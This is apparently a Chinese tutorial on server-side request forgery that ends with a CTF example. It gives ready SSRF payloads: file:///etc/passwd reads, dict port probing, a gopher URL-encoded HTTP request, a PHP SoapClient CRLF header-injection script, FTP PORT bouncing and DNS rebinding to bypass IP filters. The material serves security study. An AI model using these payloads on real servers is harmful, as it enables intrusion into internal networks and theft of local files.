SSRF简介
SSRF(Server-Side Request Forgery:服务器端请求伪造是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)
SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。
如图是一个简单的SSRF
源码如下
<?php
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}
$url = $_GET['url'];
curl($url);
利用协议
file/local_file
利用file文件可以直接读取本地文件内容,如下
file:///etc/passwd
local_file:///etc/passwd
local_file与之类似,常用于绕过
dict
dict协议是一个字典服务器协议,通常用于让客户端使用过程中能够访问更多的字典源。通过使用dict协议可以获取目标服务器端口上运行的服务版本等信息。
如请求
dict://192.168.163.1:3306/info
可以获取目标主机的3306端口上运行着mariadb
Gopher
Gopher是基于TCP经典的SSRF跳板协议了,原理如下
gopher://127.0.0.1:70/_ + TCP/IP数据(URLENCODE)
其中_可以是任意字符,作为连接符占位
一个示例
GET /?test=123 HTTP/1.1
Host: 127.0.0.1:2222
Pragma: no-cache
Cache-Control: no-cache
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
URL编码后
%47%45%54%20%2f%3f%74%65%73%74%3d%31%32%33%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%32%37%2e%30%2e%30%2e%31%3a%32%32%32%32%0d%0a%50%72%61%67%6d%61%3a%20%6e%6f%2d%63%61%63%68%65%0d%0a%43%61%63%68%65%2d%43%6f%6e%74%72%6f%6c%3a%20%6e%6f%2d%63%61%63%68%65%0d%0a%44%4e%54%3a%20%31%0d%0a%55%70%67%72%61%64%65%2d%49%6e%73%65%63%75%72%65%2d%52%65%71%75%65%73%74%73%3a%20%31%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%4d%6f%7a%69%6c%6c%61%2f%35%2e%30%20%28%57%69%6e%64%6f%77%73%20%4e%54%20%31%30%2e%30%3b%20%57%69%6e%36%34%3b%20%78%36%34%29%20%41%70%70%6c%65%57%65%62%4b%69%74%2f%35%33%37%2e%33%36%20%28%4b%48%54%4d%4c%2c%20%6c%69%6b%65%20%47%65%63%6b%6f%29%20%43%68%72%6f%6d%65%2f%38%33%2e%30%2e%34%31%30%33%2e%36%31%20%53%61%66%61%72%69%2f%35%33%37%2e%33%36%0d%0a%41%63%63%65%70%74%3a%20%74%65%78%74%2f%68%74%6d%6c%2c%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%68%74%6d%6c%2b%78%6d%6c%2c%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%6d%6c%3b%71%3d%30%2e%39%2c%69%6d%61%67%65%2f%77%65%62%70%2c%69%6d%61%67%65%2f%61%70%6e%67%2c%2a%2f%2a%3b%71%3d%30%2e%38%2c%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%69%67%6e%65%64%2d%65%78%63%68%61%6e%67%65%3b%76%3d%62%33%3b%71%3d%30%2e%39%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%2d%4c%61%6e%67%75%61%67%65%3a%20%7a%68%2d%43%4e%2c%7a%68%3b%71%3d%30%2e%39%2c%65%6e%2d%55%53%3b%71%3d%30%2e%38%2c%65%6e%3b%71%3d%30%2e%37%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%0d%0a
测试
curl gopher://127.0.0.1:2222/_%47%45%54%20%2f%3f%74%65%73%74%3d%31%32%33%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%32%37%2e%30%2e%30%2e%31%3a%32%32%32%32%0d%0a%50%72%61%67%6d%61%3a%20%6e%6f%2d%63%61%63%68%65%0d%0a%43%61%63%68%65%2d%43%6f%6e%74%72%6f%6c%3a%20%6e%6f%2d%63%61%63%68%65%0d%0a%44%4e%54%3a%20%31%0d%0a%55%70%67%72%61%64%65%2d%49%6e%73%65%63%75%72%65%2d%52%65%71%75%65%73%74%73%3a%20%31%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%4d%6f%7a%69%6c%6c%61%2f%35%2e%30%20%28%57%69%6e%64%6f%77%73%20%4e%54%20%31%30%2e%30%3b%20%57%69%6e%36%34%3b%20%78%36%34%29%20%41%70%70%6c%65%57%65%62%4b%69%74%2f%35%33%37%2e%33%36%20%28%4b%48%54%4d%4c%2c%20%6c%69%6b%65%20%47%65%63%6b%6f%29%20%43%68%72%6f%6d%65%2f%38%33%2e%30%2e%34%31%30%33%2e%36%31%20%53%61%66%61%72%69%2f%35%33%37%2e%33%36%0d%0a%41%63%63%65%70%74%3a%20%74%65%78%74%2f%68%74%6d%6c%2c%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%68%74%6d%6c%2b%78%6d%6c%2c%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%6d%6c%3b%71%3d%30%2e%39%2c%69%6d%61%67%65%2f%77%65%62%70%2c%69%6d%61%67%65%2f%61%70%6e%67%2c%2a%2f%2a%3b%71%3d%30%2e%38%2c%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%69%67%6e%65%64%2d%65%78%63%68%61%6e%67%65%3b%76%3d%62%33%3b%71%3d%30%2e%39%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%2d%4c%61%6e%67%75%61%67%65%3a%20%7a%68%2d%43%4e%2c%7a%68%3b%71%3d%30%2e%39%2c%65%6e%2d%55%53%3b%71%3d%30%2e%38%2c%65%6e%3b%71%3d%30%2e%37%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%0d%0a
->
HTTP/1.1 200 OK
Host: 127.0.0.1:2222
Date: Tue, 26 May 2020 03:53:05 GMT
Connection: close
X-Powered-By: PHP/7.3.15-3
Content-type: text/html; charset=UTF-8
123
所以在SSRF时利用gopher协议我们就可以构造任意TCP数据包发向内网了
利用CRLF
在HTTP的TCP包中,HTTP头是以回车符(CR,ASCII 13,\r,%0d) 和换行符(LF,ASCII 10,\n,%0a)进行分割的。
下图是一个示例:
如果我们能在输入的url中注入\r\n,就可以对HTTP Headers进行修改从而控制发出的HTTP的报文内容
比如下图
USER anonymous等就是通过CRLF注入插入的伪HTTP Header
PHP中利用Soap Client原生类
SOAP(简单对象访问协议)是连接或Web服务或客户端和Web服务之间的接口。
其采用HTTP作为底层通讯协议,XML作为数据传送的格式。
在PHP中该类的构造函数如下:
public SoapClient :: SoapClient (mixed $wsdl [,array $options ])
第一个参数是用来指明是否是wsdl模式。
第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。具体可以设置的参数可见官方文档
其中提供了一个接口
The user_agent option specifies string to use in User-Agent header.
此处本意是注入User_Agent HTTP请求头,但是此处存在CRLF注入漏洞,因此我们在此处可以完全控制HTTP请求头
利用脚本如下
<?
$headers = array(//要注入的header
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=m6o9n632iub7u2vdv0pepcrbj2'
);
$a = new SoapClient(null,array('location' => $target,
'user_agent'=>"eki\r\nContent-Type: application/x-www-form-urlencoded\r\n".join("\r\n",$headers)."\r\nContent-Length: ".(string)strlen($post_string)."\r\n\r\n".$post_string,
'uri' => "aaab"));
利用FTP作为跳板
FTP是基于TCP的在计算机网络上在客户端和服务器之间进行文件传输的应用层协议
通过FTP传输的流量不会被加密,所有传输都是通过明文进行的,这点方便我们对的数据包进行编辑。
FTP协议中命令也是通过\r\n分割的 同时FTP会忽略不支持的命令并继续处理下一条命令,所以我们可以直接使用HTTP作为FTP包的载荷
同时通过使用PORT命令打开FTP主动模式,可以实现TCP流量代理转发的效果
# STEP 1 向FTP服务传TCP包
TYPE I
PORT vpsip,0,port
STOR tcp.bin
# STEP 2 让FTP服务向内网发TCP包
TYPE I
PORT 172,20,0,5,105,137
RETR tcp.bin
DNS Rebinding
针对SSRF,有一种经典的拦截方式
- 获取到输入的URL,从该URL中提取host
- 对该host进行DNS解析,获取到解析的IP
- 检测该IP是否是合法的,比如是否是私有IP等
- 如果IP检测为合法的,则进入curl的阶段发包
第三步对IP进行了检测,避免了内网SSRF
然而不难发现此处对HOST进行了两次解析,一次是在第二步检测IP,第二次是在第四步发包。那么我们很容易有以下绕过思路
控制一个域名xxx.xxx,第一次DNS解析,xxx.xxx指向正常的ip,防止被拦截
第二次DNS解析,xxx.xxx指向127.0.0.1(或其他内网地址),在第四步中curl向第二次解析得到对应的内网地址发包实现绕过
这个过程已经有了较为完善的利用工具
例题
主要分析题目中的SSRF部分
MRCTF2020 Ezpop Revenge
目标是访问/flag.php 但限制了访问请求的来源ip必须为127.0.0.1也就是本地访问
<?php
if(!isset($_SESSION)) session_start();
if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){
$_SESSION['flag']= "MRCTF{Cr4zy_P0p_4nd_RCE}";
}else echo "我扌your problem?\nonly localhost can get flag!";
?>